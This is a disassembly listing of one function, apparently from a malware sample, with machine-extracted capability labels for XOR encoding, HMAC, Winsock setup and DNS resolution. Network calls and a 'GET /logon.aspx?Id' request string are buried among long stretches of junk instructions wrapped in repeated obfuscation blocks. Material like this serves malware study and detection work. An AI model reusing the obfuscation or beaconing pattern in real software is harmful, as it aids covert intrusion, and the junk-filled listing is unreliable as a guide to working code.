Function at 0x100a114b
Capabilities:
Authenticate hmac
Encode data using xor
Initialize winsock library
Resolve dns

Disassembly:
push 0x1ec
mov eax, 0x1014270c
pushfd
test byte [0x100a114b], 0xf9
jne 0x100a114c
sahf
add byte [eax], al
add byte [ecx], al
add cl, byte [esi + 0x1e02f345]
add dword [edx], eax
mov es, word [ebp - 0xd]
add bl, byte [esi]
mov ecx, 0x8d69b447
adc cl, cl
sahf
cmp al, 0x3d
jb 0x100a1110
int3
pop esi
add cl, dl
sbb byte [edx], dh
shr edi, cl
jb 0x100a10aa
jns 0x100a114c
pop edx
outsd dx, dword [esi]
sbb bh, byte [ebx - 0x346e2a9]
fstp qword [edx - 0x7db04a10]
sub byte [esi - 0x2716207b], bl
sub eax, 0xd10f98b5
mov ah, byte [esi + 0x1b]
adc eax, 0x358aa728
or al, byte [edx - 0x778cc883]
pop eax
sti
xchg ebx, eax
xor ecx, esi
mov edi, 0x3ba6b474
popfd
call fcn.1011e502
mov ebx, dword [ebp + 8]
pushfd
test byte [0x100a1181], 0x5d
jne 0x100a1282
lahf
out dx, al
sti
mov es, word [ebp + 0x120a0127]
stosb byte es:[edi], al
xchg edx, eax
inc esi
xchg esi, eax
mov bh, byte [ebx + 0x1155f94a]
or ecx, esp
jle 0x100a1165
mov edi, 0x435a20d
leave
imul esi, dword [ebp + 0x5b], 0x7b
cwde
xor byte [ecx + ebp - 0xc], 0x52
cmpsd dword [esi], dword es:[edi]
dec ebx
mov dword [esi + esi + 0x69bcbb41], ebx
in eax, 0xf5
cmc
imul esp, dword [eax - 0x3a], 0x48177d77
std
pop edi
jb 0x100a1195
xor ebx, dword [esp + 0x6848d5c9]
xor edx, dword [ebp - 0x10]
push edi
push 0x57f05533
mov ebx, 0x5611a29b
jg 0x100a11a7
test ah, ah
call 0x56be6e47
jle 0x100a1219
pop ebp
sal dword es:[esi - 0x4f1038cc], cl
clc
add byte [ecx], cl
das
leave
sbb byte [edx], dl
sar ch, cl
inc ebp
mov bl, 0x60
xor ch, byte [esi - 0x13662d43]
inc ecx
jno 0x100a11bb
xchg ecx, eax
insb byte es:[edi], dx
cmp cl, cl
sub dword [esi + 0x1b], ecx
xchg edi, eax
push 0xba959ecc
push eax
out 0x7f, al
cwde
ja 0x100a1181
pop eax
adc dword [eax + ebx*2 - 0xd702397], ecx
sub bh, byte [edx - 0x4d]
mov ch, 0x7c
movsb byte es:[edi], byte [esi]
jbe 0x100a125f
aaa
inc esi
stosb byte es:[edi], al
rcl byte [edi]
dec edi
inc ecx
insb byte es:[edi], dx
imul eax, esi, 0xffffff98
inc esi
shr dword [edx + 0x11], 0x7d
ror byte [ebp - 0xd], 1
sbb bl, byte [ebp - 0x40]
mov esi, 0x366fec15
cmp al, 8
sar byte [esi + 0x366fec15], 0x3c
or byte [esp + 0x5c], cl
outsd dx, dword [esi]
cmp al, 8
dec esp
in al, 0x5c
push ebx
pop ss
push ebp
and al, 0x75
push edx
lea edx, [ebx - 0x52]
mov esp, 0xeaea42af
inc eax
aam 0x22
stc
js 0x100a1232
inc ebp
arpl ax, sp
out dx, al
pop ebp
or eax, 0x704385e2
in al, 0x39
cdq
add ebp, ebp
int1
cmp cl, cl
dec eax
arpl word [edx], bx
sub eax, esp
lodsd eax, dword [esi]
test ebx, ebp
lea ebx, [si]
push eax
mov ecx, 0x46f7067a
pop edx
ja 0x100a1215
jp 0x100a125e
test dword [esi + 0x5a], 0x16a0b877
mov al, byte [0xe8cdc316]
adc dword [eax + 0xd], 0x4deea7f2
xor eax, 0xc3c1ec43
cmp byte [ebx], bh
adc byte [ecx + 0x24], dl
push edi
jo 0x100a12d2
push ss
ret
xchg esp, eax
push edx
dec eax
dec ecx
bound edi, qword [esi - 0x79adeb24]
sub edx, edx
popfd
mov esi, ecx
lea ecx, [ebp - 0x1f8]
call fcn.10001000
lea eax, [ebp - 0x1f4]
pushfd
test byte [0x100a1352], 0x86
jne 0x100a1353
or dl, byte [eax]
xchg byte [edi], cl
test dword [edi + 0x5a000000], ebp
pop edx
inc edx
push ebx
scasb al, byte es:[edi]
mov ss, word [0x6bffa4b6]
push esi
inc esi
add al, 5
xchg esi, eax
xor eax, 0x839f7a49
cmp al, byte [edi + 0x3996e3c4]
pushal
lodsd eax, dword [esi]
test al, 0x88
les edi, [eax - 0x2f]
dec ebx
mov bh, 0x3a
push ebp
xchg byte [ecx], cl
jo 0x100a129b
jp 0x100a1256
cmp dword [edx], 0xffffff87
invalid
lodsb al, byte [esi]
test al, 0x32
pop ds
and dl, byte [ebp + 0x297e8230]
xchg ebx, eax
cmp dword [ebx], esi
dec esi
test dword [ecx - 0x7e], edx
mov dl, 0xc8
aam 0x84
fisttp qword [eax - 0x70736c37]
fidivr dword [esi]
sahf
mov eax, dword [0xf787982]
aam 0x9c
adc dl, byte [edi - 0x50f59ae3]
arpl word [edx], bx
xchg dword ss:[ebx], eax
cmpsd dword [esi], dword es:[edi]
sbb cl, byte [eax - 0xa686a9e]
popal
ja 0x100a1333
cmp ebx, dword [ebx + 0x2f]
jnp 0x100a12b5
dec edi
or esi, dword [esi + 0x65]
xor ah, dl
push 0x1ae0ab2e
fistp dword [eax + 0x11818d4b]
stosd dword es:[edi], eax
rep insb byte es:[edi], dx
scasd eax, dword es:[edi]
sub eax, 0x5ab91ce8
lodsd eax, dword [esi]
daa
pop ecx
mov al, 0x36
lodsb al, byte [esi]
sbb byte [eax - 0x79], ah
cmp dh, byte [ecx]
fimul dword [0xa5943adc]
out 0x34, eax
xor al, byte [ecx]
add bl, bh
test al, 0xc4
bound ecx, qword [ebx]
mov esi, 0x545c8286
sub ch, al
sbb eax, 0xb0a85eb1
frstor dword [edi + 0x20]
scasb al, byte es:[edi]
popfd
push eax
xor edi, edi
push 0x202
mov dword [ebp - 4], edi
call dword [sym.imp.WS2_32.dll_WSAStartup]
pushfd
test byte [0x100a1399], 0x10
jne 0x100a149a
aam 0x61
push 0xffffffffffffff81
dec edi
sahf
cmp byte [ebx - 0x55], bh
mov dword [ecx - 0x64ca7b42], edx
add dword [esi], edi
xor eax, 0x51a6cdcd
test byte [0x353e019b], dh
int 0xcd
cmpsb byte [esi], byte es:[edi]
push ecx
push ds
sti
push edx
mov dh, 0xe7
xor ebp, dword [ecx - 8]
lodsb al, byte [esi]
sub esi, edi
xor dword [edi - 0x2d2d31eb], eax
push 0x59
dec byte [edi + 0x382d63ed]
mov edi, 0x4d5bfd1c
xchg eax, ecx
aas
jle 0x100a13fc
pop esi
xchg ecx, eax
in al, dx
add eax, 0x1d45469f
sub byte [edx], ch
pop ss
cmpsd dword [esi], dword es:[edi]
push ebp
not cl
in al, dx
cdq
call 0x353bd8cf
scasd eax, dword es:[edi]
push ebx
call 0x6e093463
sbb eax, 0xb0d15aed
mov byte [ebx - 0x677ca639], dh
pop esi
pop es
inc esi
and dl, byte [esi]
sub dword [ebx - 0x4a], ecx
call 0x472f6c6
int1
xor byte [edi], bh
aad 0xbd
cmp edx, ebx
arpl sp, bp
cmpsb byte [esi], byte es:[edi]
jge 0x100a137f
test byte [esi], dl
mov al, byte [0xce1511d8]
movsb byte es:[edi], byte [esi]
push ds
cmp byte [eax - 0x64], ah
jb 0x100a1430
xor esp, dword [ebp - 0x60fa4734]
cwde
xor eax, 0xca3370c8
inc edi
inc esi
xchg edi, eax
pushfd
xchg edi, eax
pop ss
jg 0x100a1435
movsd dword es:[edi], dword [esi]
int3
adc dword [eax], 0x93162034
mov fs, ebx
mov edi, edi
pop esp
xor ebp, dword [edi]
fbstp tbyte [ebp + 0x44]
out 0xe1, al
and dword [esp + eax], 0xe
js 0x100a1431
or dword [ebx], esp
loopne 0x100a1429
mov bl, 0x3e
push esp
mov al, byte [0x99143c94]
xchg esp, eax
cmp al, 0x14
cdq
xchg esp, eax
jbe 0x100a143b
in al, 0x81
push 0x6376fc1b
sbb edi, esp
jbe 0x100a14a2
sub esi, dword [esi + 0x20]
pop es
sbb bl, byte [ebx - 0x3a]
mov esi, 0x66064879
mov bl, 0xa3
cmpsb byte [esi], byte es:[edi]
pop ds
jl 0x100a14ba
out 0x2d, eax
cmp esi, ecx
mov ecx, 0xc132ab3e
lodsb al, byte [esi]
scasd eax, dword es:[edi]
xchg ebp, eax
pop esi
inc edx
adc bh, byte [edx + 0x40]
lodsd eax, dword [esi]
int3
pop edi
cmp bl, bh
sub eax, 0x9a1253c
add ebx, edx
or dword [esi], ebp
xchg esi, eax
test al, 0x6e
mov dh, 0x7b
cmpsb byte [esi], byte es:[edi]
idiv dword [edi - 0x64]
pop eax
jbe 0x100a1481
call [ecx - 0x13a4a946]
pop edi
cdq
mov edx, 0x5fec5b56
mov eax, dword [0x156f4d29]
sahf
mov dword [0x6c7436cb], eax
outsd dx, dword [esi]
adc eax, 0x36cba39e
je 0x100a14ff
popfd
sub byte [ebp - 0x5a], ch
inc edx
pop ebp
popfd
cmp eax, edi
pushfd
test byte [0x100a14bb], 0xe0
jne 0x100a15bc
or dl, byte [eax]
loopne 0x100a14b5
test dword [ecx], edx
add dword [eax], eax
add byte [ecx*2 - 0x595a4587], ch
sub al, 0x4d
jns 0x100a1469
movsd dword es:[edi], dword [esi]
cmpsb byte [esi], byte es:[edi]
xchg ecx, eax
add bl, cl
pop edx
xor dword [edx], esp
mov ch, 0x26
xchg esi, eax
das
bnd call 0xda0530fb
push ecx
xchg edi, eax
dec edx
movsd dword es:[edi], dword [esi]
lds ebx, [esi]
lodsb al, byte [esi]
sub dh, dh
test al, 0x26
stosd dword es:[edi], eax
inc ecx
jg 0x100a148b
mov dword [0x2b59abc6], eax
ja 0x100a14a6
sbb ebp, edi
insd dword es:[edi], dx
sar byte [ebx], cl
test dword [edx], 0x93c35b13
les edi, [esi]
mov al, byte [0x6b7bb00c]
mov ebp, 0xaaef3411
int3
int3
popfd
je 0x100a17e6
pushfd
test byte [0x100a16c9], 0x20
jne 0x100a16ca
xor ebp, dword [edi]
xchg esp, eax
imul eax, dword fs:[esi + 4], 0x5e72bf35
ja 0x100a1644
movsb byte es:[edi], byte [esi]
lodsd eax, dword [esi]
test dword [esi], esp
ror byte [ebp + ecx + 0x4827e99e], cl
out 0x48, eax
inc esp
sbb bh, byte [esi]
dec esi
int3
salc
xlatb
sub al, byte [ecx + 0xa]
inc esp
push ds
adc eax, 0xbb4ed247
push es
stc
xor eax, 0x7e30e913
mov dh, 0x61
popal
mov dword [edx - 0x51e5006], 0xd1a07d0b
imul ebp
adc dh, byte [ebx + 4]
push 0xffffffffffffffd7
lodsb al, byte fs:[esi]
cli
add cl, ch
mov edi, 0xb1d7b409
xchg edi, eax
xor esi, esi
bound esp, qword [esi + 0x61]
mov ah, 4
dec ecx
push esi
lea esi, [ebx + 0x4dda67a9]
push edx
clc
mov word [ebx], cs
aaa
add dword [ebp + ebx*4 - 0x73d726de], ebx
add eax, 0x26cfd5c9
cwde
jnp 0x100a170d
and al, 0xb8
xor eax, 0x48d2f193
and dword [eax - 0x31], edi
out dx, eax
mov eax, dword [edx - 0x5e]
or dword [ebx - 0xbb98c84], edi
mov bl, 0x25
or al, 0xec
pop ecx
xor byte [edx], bl
fcomp qword [edi - 0x42]
jae 0x100a1658
dec edx
mov dl, 0xc
sub al, 6
push ebp
insd dword es:[edi], dx
cmpsb byte [esi], byte es:[edi]
movsd dword es:[edi], dword [esi]
ja 0x100a170f
ficomp word [edi]
cmc
enter 0xbbd, 0x20
popfd
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.HttpClient::InitNetWork:WSAStartUp_Faild_With_Error:__d
push edi
push edi
call fcn.10049c0c
or dword [ebp - 4], 0xffffffff
add esp, 0x10
lea ecx, [ebp - 0x1f8]
call fcn.10001009
or eax, 0xffffffff
call fcn.1011e585
pushfd
test byte [0x100a1793], 0x8a
jne 0x100a1794
pop ecx
xchg edi, eax
jg 0x100a16b1
push ds
push ecx
inc ebp
push ss
dec ebx
js 0x100a170c
pop ebp
pop ds
fcmovnb st(0), st(0)
lodsd eax, dword [esi]
mov ch, 0xaf
js 0x100a174d
adc eax, 0x8d124fd8
out dx, al
sub bh, byte [0x74af23ce]
mov ss, word [edi - 0x17a627bb]
jno 0x100a177e
dec edi
mov ch, 0x29
push es
imul edi, dword [ebx - 0x61], 0xffffff82
sub byte [eax], dh
cmp bl, ah
loopne 0x100a174a
inc edx
aaa
adc al, 0xc0
adc eax, 0xe14bc529
and al, 0x3d
jle 0x100a175f
in al, dx
xchg esi, eax
mov al, byte [0x58cba9b5]
pushfd
push 0x73
scasb al, byte es:[edi]
aam 0xf0
mov ebx, ebx
add ah, cl
sar byte [esi], 1
mov gs, word [edx + 0x4ca5ebea]
call 0xb7b28ec8
movsd dword es:[edi], dword [esi]
call [ebp - 0x3b]
push eax
out dx, al
inc esi
daa
out 0xcc, al
cmpsd dword [esi], dword es:[edi]
in al, dx
add al, 0x39
pop ecx
pop esi
push edi
shl dword [edx - 0x20], 1
aad 0x50
mov ch, 0xa9
retf
ljmp 0x7760:0xe84ca5eb
xor eax, 0xddde0d2d
adc eax, dword [esi]
lea ebx, [edx + 0x5d]
aas
mov cl, 0x27
dec esp
sub al, 0x71
jne 0x100a17a7
and byte [ecx + 0x5a], ah
popfd
ret 0xc
ror dword [edx], 0xde
stc
xchg esp, eax
in eax, dx
loop 0x100a1794
xchg edx, eax
shl byte [eax], cl
inc ebx
or byte [edx], 0x22
and byte [eax + 0x131615bd], bl
jle 0x100a17bc
shr dword [ecx - 0x71239457], 1
sub al, 0x9c
sub dl, byte [ebx + 8]
dec esp
fcom dword [edx + 0x15980ae0]
inc ebx
mov esi, 0x653d00b
into
mov al, 0xd0
adc al, 0xfd
sal dl, 0x6a
in al, dx
test dword [ebx - 0x5e2430f1], eax
popfd
push ebx
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x100a1816
push ebx
call dword [sym.imp.WS2_32.dll_gethostbyname]
cmp eax, edi
jne 0x100a1816
or edi, 0xffffffff
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1f8]
call fcn.10001009
mov eax, edi
jmp 0x100a16f3
push str.GET__logon.aspx_Id
pushfd
test byte [0x100a18b9], 0x2d
jne 0x100a18ba
and bh, dh
xor al, cl
adc ebx, ebp
sub eax, 0xdc3f81da
nop
or bl, byte [edx + 0x1a]
xor dword [ebp - 0x185f5e7a], ecx
mov eax, dword [0xa2e74e10]
lodsd eax, dword [esi]
out 0xf1, al
cmp edx, dword [eax - 0x56]
scasd eax, dword es:[edi]
insb byte es:[edi], dx
mov al, byte [0xbc488404]
mov ch, 0xee
out dx, eax
push ss
test dword [ecx], 0xab9470e3
mov ebp, 0xc1444a88
push ebx
sub ah, byte [ebp - 0x450a0519]
add al, 0xab
adc dword [ebp + 0x14], edi
xor ah, bl
sbb al, 0x89
popal
int1
xchg ebp, eax
mov esi, 0xbd7c4aa3
dec edx
test dword [esi - 0x36], 0xaf442d36
xor ebp, edi
add ah, 0x80
test dword [edi + 0x5b], esi
fstp dword [esp + ecx*4]
pop dword [ebx - 0x6f63737a]
adc al, 0xdd
or byte [edx + 0x37], bh
int3
popfd
lea ecx, [ebp - 0x2c]
pushfd
test byte [0x100a198d], 0xb4
jne 0x100a198e
add byte [eax], al
dec esp
cld
push ss
test eax, 0xf5bbc4a
pop es
aaa
and al, 0x76
push eax
jle 0x100a18f8
scasd eax, dword es:[edi]
aam 0xaf
fisttp qword [esi]
mov al, 0xe1
inc edx
add byte [eax - 0x6d], dl
and eax, 0xf799ecd2
sbb eax, ebx
cmp dword [ecx], edx
pop ebx
dec ebx
push 0x86978cbc
mov ebp, 0xab5325c9
mov al, 0x3b
and eax, 0x3bb0ab53
sub ebp, dword [ebx - 0x52]
sub al, 0x76
dec eax
inc edi
jo 0x100a1969
cmpsb byte [esi], byte es:[edi]
or eax, 0x6d698c64
popal
mov al, byte [0xba1abf9a]
adc edx, dword [ebx - 0x6b]
loop 0x100a18bb
add al, 0x84
movsd dword es:[edi], dword [esi]
jns 0x100a18ca
sub al, 0xf5
cmp eax, 0xaf3c66a0
loop 0x100a1928
ja 0x100a1987
mov esp, 0x2540c787
aam 0xeb
dec eax
fcmovnbe st(0), st(6)
cmp al, 0x6f
sbb ebx, dword [ecx - 0x1bc762f1]
lea esi, [ebx]
xchg ecx, eax
push esi
out 0x7c, al
sub eax, 0x14a65ada
cmp bl, byte [ebp + 0x36]
and esi, dword [eax + 0x6f92bac4]
add al, byte [edx]
into
cmp eax, dword [ebx + 0x403d5038]
pushfd
cmp dword [ecx + 0x443d1230], esi
inc esp
scasd eax, dword es:[edi]
mov dword [edx + 0x1ef0018e], eax
xor eax, 0xd760c410
pushal
xlatb
pop es
aam 0x53
sub cl, byte [ebx + 0x54]
sub byte [edi - 0x36], 0x4a
cmc
or cl, dh
fiadd dword [esp + edi*2]
push ss
je 0x100a193d
xor esp, esp
test al, 0xcb
sbb dh, bh
pop ebp
jecxz 0x100a19d9
push ecx
sub esp, dword [edi - 0x1cba111b]
popfd
call fcn.10005af6
pushfd
test byte [0x100a1a84], 0xa2
jne 0x100a1a85
stosb byte es:[edi], al
or ah, byte [ebp - 0x5a]
cmpsb byte gs:[esi], byte es:[edi]
adc dword [edi + 5], ebp
mov byte [edx], dl
or dword [edi], eax
jae 0x100a19d0
and al, 0xf9
push 0xffffffffffffff82
mov esp, 0x367e70f6
add edx, dword [esi - 0x16]
mov word [edx], cs
jbe 0x100a19da
ja 0x100a19e0
test eax, 0x9ae29fb
cmpsb byte [esi], byte es:[edi]
sub eax, 0xbfb7271c
dec edi
mov esi, 0x1394d2b3
mov esp, 0xf028fac4
cmp byte [ecx - 0x7d], 0x90
rcl byte [ebx + edx + 0x28fac4bc], cl
invalid
jns 0x100a195e
adc dword [eax - 0x53dbe1ba], 0xffffff8c
loope 0x100a1a1f
nop
inc esi
push ds
and al, 0xac
mov ecx, fs
cmp al, 0xcd
xchg edx, eax
int 0x92
ja 0x100a19a4
fiadd word [0xd3a03b27]
sub dh, bl
pushal
or eax, 0x24b17edd
adc al, 0xc
imul eax, dword [ebp + 0x23], 0x69
xchg dword [edi], esp
das
test eax, 0x2aa471bc
xchg esi, eax
stosb byte es:[edi], al
cmp edx, ebx
pushal
dec esp
dec ebx
fisubr dword [esi - 0x22eb4c7e]
out dx, al
push esp
or dl, dh
mov dl, 0x74
rol dword [eax - 0x4e], 0xc8
leave
enter 0x1242, 0x5a
pop edx
cli
pop ebp
imul ebx, dword [0xa793ded0], 0x22807400
cmp al, 0x96
adc dh, dl
adc eax, dword [eax - 0x4b]
insb byte es:[edi], dx
pop esp
xchg dword [eax + 0x595bc3aa], ebp
sahf
ja 0x100a1a40
mov esp, esi
push ds
cmp cl, dh
or edx, ecx
dec esp
xchg edi, eax
cmp al, cl
ror cl, 0x36
xor eax, 0xb8f61a
mov esp, 0x815233b2
or ah, bl
sub al, 0xbb
jbe 0x100a1aae
push es
mov dh, ah
shl cl, 0x3b
mov eax, dword [0xd91d7564]
pop es
adc byte [edx + 0x14], bl
mov dword [0x221287], eax
pushfd
jne 0x100a1a80
pop ebx
clc
mov dl, 0x7f
cmp byte [edi + 0x5af9ca8c], 4
int3
add al, 0xcc
loop 0x100a1af1
cli
popfd
push 0x10
pop edi
pushfd
test byte [0x100a1b68], 0xa3
jne 0x100a1b69
push di
xor eax, 0x4299b99e
dec ecx
cld
sub byte [ecx], al
lds eax, [ebp - 0xb]
pop dword [ebx]
push ebp
add eax, 0xacf71ac9
cmp eax, 0x2a67380d
cmp eax, 0x2a67380d
fidivr dword [esi + 0x1b]
cmp dword [edx - 0x7e], 0xffffffe7
or ebp, edx
sti
mov al, byte [0xda294e41]
stc
jnp 0x100a1a91
and eax, 0xbc2d18ec
dec esi
xor bl, byte [ecx + edx*2]
pop ebx
fiadd word [ebx - 0x5a169964]
mov dl, bl
jl 0x100a1b35
cmpsd dword [esi], dword es:[edi]
xchg dword [edi], esp
or al, 0x24
dec edi
jle 0x100a1b40
mov ebp, dword [esi - 0x76]
push 0x42
push gs
int 0x8e
push cs
pushfd
movsb byte es:[edi], byte [esi]
sub eax, 0x1bb973a5
push ecx
pop ecx
movsd dword es:[edi], dword [esi]
jae 0x100a1aad
sbb edx, dword [ecx + 0x59]
jl 0x100a1a80
xor byte [eax + 0x3b], ah
lodsb al, byte [esi]
in al, 0x3a
pop ebx
imul ebp, dword [esi - 0x19d178fd], 0xffffff82
xchg dword [esi - 0x5e9f2c80], eax
jae 0x100a1b16
rcl ebx, 0x22
mov al, 0x54
mov ecx, 0xc6cd16a0
push ss
int 0xc6
adc byte [edx - 0x4d6301ba], bh
push ecx
cld
pop esp
xchg esi, eax
lodsd eax, dword [esi]
adc eax, eax
fidiv word [esi*2 + 0x7e32cde6]
sbb ebp, esp
cmp byte [esi], dh
jns 0x100a1ba1
inc ebp
inc edx
imul ecx, dword [ebx + ecx + 0x32751b64], 0x3d
adc al, 0x41
xor byte [ecx + eax*8 - 0x19], cl
mov cl, 0x1c
sub eax, dword [0xec38e49]
sbb eax, 0x14cb158f
sub byte [eax + 0x71], ah
inc ecx
pmaddwd mm7, qword [edx - 0x64c6410]
jecxz 0x100a1af9
salc
dec ebx
imul ebp, edx, 0xffffff9c
xor ebx, 0xfffffff2
ror ch, 0xcd
int 0xcd
popfd
push edi
lea eax, [esi + 0x184]
push eax
pushfd
test byte [0x100a1bbc], 0xd2
jne 0x100a1cbd
and byte [edx - 0x2431ba7d], ah
xchg ebp, eax
into
sub dword [edx - 0x1099a0c5], 0xa7df25f3
std
jle 0x100a1b40
and eax, 0x7efda7df
stosd dword es:[edi], eax
outsd dx, dword [esi]
jbe 0x100a1b67
and esp, esp
test byte [eax - 0x4291a4df], bl
pushfd
ja 0x100a1b8f
pushal
push ebx
sub dword [eax + 0x4e5213ab], ecx
and dword [edx], edi
push esp
mov esi, 0x2a6162a8
setle byte [esi + 0x6e]
bound eax, qword [ebx - 8]
or ch, 0x70
sub dh, dl
add dword [esp + ebp], ebx
or byte [edi], bl
daa
test byte [ebx], bl
mov esi, 0xc11437fa
outsd dx, dword [esi]
les esi, [esi + 0x1083a85a]
pop esi
popal
or dword [ebp - 0x54], eax
mov edi, 0x856457a9
lodsd eax, dword [esi]
push es
test byte [ebx - 0x3ae1d9aa], bl
test al, 0xb9
sal eax, cl
arpl word [edi], di
push ebx
bsf ebx, dword [ebp + 0x7d538998]
mov dword [edi + 0x66c1f08c], ecx
shl dword es:[ecx + 0x6ee20770], 0x57
xchg byte [ecx], dh
out 0xb3, eax
dec ebx
push ebx
fisttp word [esi - 0x29]
inc esp
inc ebx
cmp byte [ecx + 0x7a], 0xc5
mov eax, 0xa7ec7d20
pop ebx
mov edx, 0x6ccf4dd0
pushfd
pop esi
push 0x30892451
cld
pop ss
std
push esi
adc byte [ebp + 0x39], dl
adc eax, 0xe40c48f3
cmp ebp, dword [ecx + 0x3b]
pop esp
sti
not dword [ebx - 0x5d609558]
mov dword [ecx + ebx*8], 0xde1c81d5
pop edi
jne 0x100a1c85
lea edi, [ebx + 0x75]
inc ecx
sub esp, dword [edx + edx + 0x68]
test byte [ebx + ecx*2 + 0x6b44ef71], cl
insb byte es:[edi], dx
xchg dl, ch
mov esp, 0xb7d6a4bb
test dword [esi + 0x38dab918], edi
xchg ebp, eax
lahf
shl byte [esi], 1
rcr byte [0xd8dceef1], 0xef
xor byte [esi - 0x6c], cl
mov bl, 0x1e
mov ah, 0x11
sbb ebp, ecx
mov esp, 0xa93aa057
xor al, 0xe9
push edi
inc edx
or bl, byte [edx + 0x65]
cmpsb byte [esi], byte es:[edi]
mov edi, 0x634afeb0
dec byte [edx + 0x63]
mov ebp, 0xc7f8dfc8
imul eax, dword [ebx], 0x1a296d61
out dx, eax
in al, dx
xchg dword [ecx], ebx
lds edi, [ebp - 6]
sbb edi, eax
xor edx, dword [eax + eax*2]
push ds
mov gs, word [edx + 0x63]
enter 0xffffffffffffc86d, 0x13
dec esp
dec esp
mov eax, 0x31b84ab0
mov esi, 0x289d71a8
sub ebx, edi
call 0x62c1f44
stosd dword es:[edi], eax
adc al, 0xe4
popfd
lea eax, [ebp - 0x48]
push eax
pushfd
test byte [0x100a1cd1], 0x41
jne 0x100a1cd2
inc ebp
mov eax, 0x5f69c50
rcr dword [edx + ecx], 1
adc byte [ecx + 0x75], al
push es
or eax, dword [esi - 0x228964da]
popfd
lea ecx, [ebp - 0x1f8]
mov byte [ebp - 4], 1
call fcn.100060ff
cmp dword [ebp + 0xc], 0x50
mov ecx, dword [ebp - 0x48]
mov byte [ebp - 4], 2
je 0x100a21d8
cmp dword [ebp - 0x34], edi
jae 0x100a1cfb
lea ecx, [ebp - 0x48]
mov eax, dword [ebp - 0x2c]
pushfd
test byte [0x100a1d5b], 0x37
jne 0x100a1e5c
sub dword [ebx + 0x8384179], ebx
push ecx
scasd eax, dword es:[edi]
sbb eax, 0x31619fc8
mov dh, 0x42
je 0x100a1cbf
inc ebx
push ds
dec ecx
sub byte [ecx + ebx*2], ah
mov ah, 0x52
push ebp
xor eax, 0x55d70da7
xlatb
push ebp
insd dword es:[edi], dx
movsd dword es:[edi], dword [esi]
and ax, 0x4c40
lahf
jl 0x100a1db4
push esi
movsb byte es:[edi], byte [esi]
scasb al, byte es:[edi]
in al, 0x2f
mov ch, 0xcd
pop eax
sbb ebp, edx
inc edi
pop edx
cdq
enter 0xfffffffffffff795, 0x7c
aad 0xae
push esp
dec esi
add eax, 0x3c30a2ee
sbb ebx, edx
mov ds, word [edx + 0x6bf90f5d]
dec dword [edi + ebx*8 - 0x755c5b75]
and eax, 0xf68e9b2
mov esi, 0x3197c94f
fstp qword [ecx + 0x70]
push ebx
mov dh, byte [esi + 0x2f459a34]
adc al, 0x47
aas
imul ecx, ecx, 0x7a763ce1
mov fs, word [edx - 0x5ca072f4]
cmp al, 0xb5
pop ecx
fpatan
or bl, byte [ebp + 0x7b63316b]
sub eax, 0x8a920624
test bl, dl
jae 0x100a1d60
jmp 0x5fc82ccd
xchg ebp, eax
in eax, dx
jecxz 0x100a1d2a
inc edx
fnstsw word [edx - 0x5c]
cli
out 0xeb, al
call 0x9e265e94
push ebx
mov ah, 0x3e
xor bh, byte [ebp + 0x3763a76b]
mov byte [esi + 0x5dfd6a95], dh
in eax, 0x84
shl dword [edx + 0x57], cl
sbb bh, byte [ecx + edx*2 - 0x51]
mov ebx, eax
cmp ebp, dword [eax]
call 0x86eb68da
mov dword [0x4fffe671], eax
adc al, 0xc0
nop
cdq
jns 0x100a1e3e
popfd
pop ecx
jmp dword [esi - 0x46b4cd9e]
imul ecx, dword [esi - 0x2e], 0x62fe7402
or byte [ebx - 0x7f75cc9a], 0xbe
cld
pop edi
js 0x100a1e54
jbe 0x100a1ebb
mov ah, 0x46
inc esi
inc edx
or esp, 0x17f60109
popfd
cmp dword [ebp - 0x18], edi
pushfd
test byte [0x100a1e88], 0x15
jne 0x100a1f89
push esi
mov dh, 0x23
imul ecx, dword [esi], 0x29
bound edi, qword [0x605d4f68]
clc
aaa
or cl, byte [esi]
pop es
mov ah, 0xb3
xor al, 0xf6
mov eax, 0x48185e6a
out dx, al
jns 0x100a1ef7
pop ds
pop ebx
sal dword [edi + 0x39ddef70], cl
in al, 0x3b
and dword [eax], ebp
fld st(2)
adc esi, ebx
test al, 0xfa
outsd dx, dword [esi]
dec edi
or byte [edx], 0x47
sbb byte [ecx + 0x4ea5b632], bh
imul edi
mov edi, 0x12df7592
dec ecx
xor cl, dl
add byte [0x2bf04f4b], dh
fcompi st(0)
push edi
mov esi, 0x2f569a10
stc
inc esp
int 0x17
adc al, 0xb1
mov ecx, dword [esi]
add dword [ebp - 0x1b], 0x58
mov al, 0x77
scasd eax, dword es:[edi]
mov ebp, 0x85fdfbe5
inc esp
loop 0x100a1eec
push 0x3e
xchg dword [ecx + 0x12c1611a], esi
fcom qword [ebx + 0x24095dcc]
in al, 0xc7
clc
sahf
xchg edx, eax
outsb dx, byte [esi]
xchg ebp, eax
mov dl, byte [ebp - 0x78]
fnsave dword [ecx + ecx*8 - 0x2e2dc0f9]
stosd dword es:[edi], eax
mov al, bl
mov word [esi], ds
or byte [ebp + 0x47], 0xae
test dword [ecx - 0x6a], esp
push ss
add byte [esi - 0x33], bl
fstp st(6)
cmpsb byte [esi], byte es:[edi]
pop edx
scasd eax, dword es:[edi]
ficom dword [ecx + 0x1b]
loop 0x100a1ec8
outsb dx, byte [esi]
aaa
int 0x1d
xor eax, 0x63334328
pop es
je 0x100a1ee5
mov ah, 0xae
or eax, 0x5c7c9cb2
sbb dword [ebp + 0x53], 0x67314428
out 0x8a, eax
out 0x4b, al
inc ebx
dec edx
pop ebp
shl byte [esi], cl
adc dword [ecx - 0x76], edx
push ebx
adc byte [edi], 0x52
cmp eax, 0x227b0f84
and eax, 0x406b3cce
xchg edi, eax
jecxz 0x100a1f9f
cld
cdq
cld
test eax, 0x5a280773
add dword [ebx - 0x2ef550fb], edi
mov edi, 0x673d9702
push ss
add byte [edi + ebp*4], ah
adc al, byte [ebp - 0x30]
sub dl, 0xd6
adc eax, 0x8e720cf6
sbb al, 0x13
xchg esp, eax
mov ch, 0x2a
rcl dword [edx]
or ecx, 0x47a76a03
sbb dword [edx + edx], edi
inc ebp
sub byte [esi - 0x44a33c20], dl
or ebp, edi
aam 0xa6
je 0x100a1fa8
popfd
jae 0x100a2046
lea eax, [ebp - 0x2c]
pushfd
test byte [0x100a2044], 0xd7
jne 0x100a2045
add byte [eax], al
insb byte es:[edi], dx
and al, 0xbf
jg 0x100a2019
xor ecx, dword [edi + 0x3f3a3481]
imul ecx, dword [esi + 0xee27b5b], 0xb01eadb0
les ebp, [edx - 0x7b3e85d]
dec eax
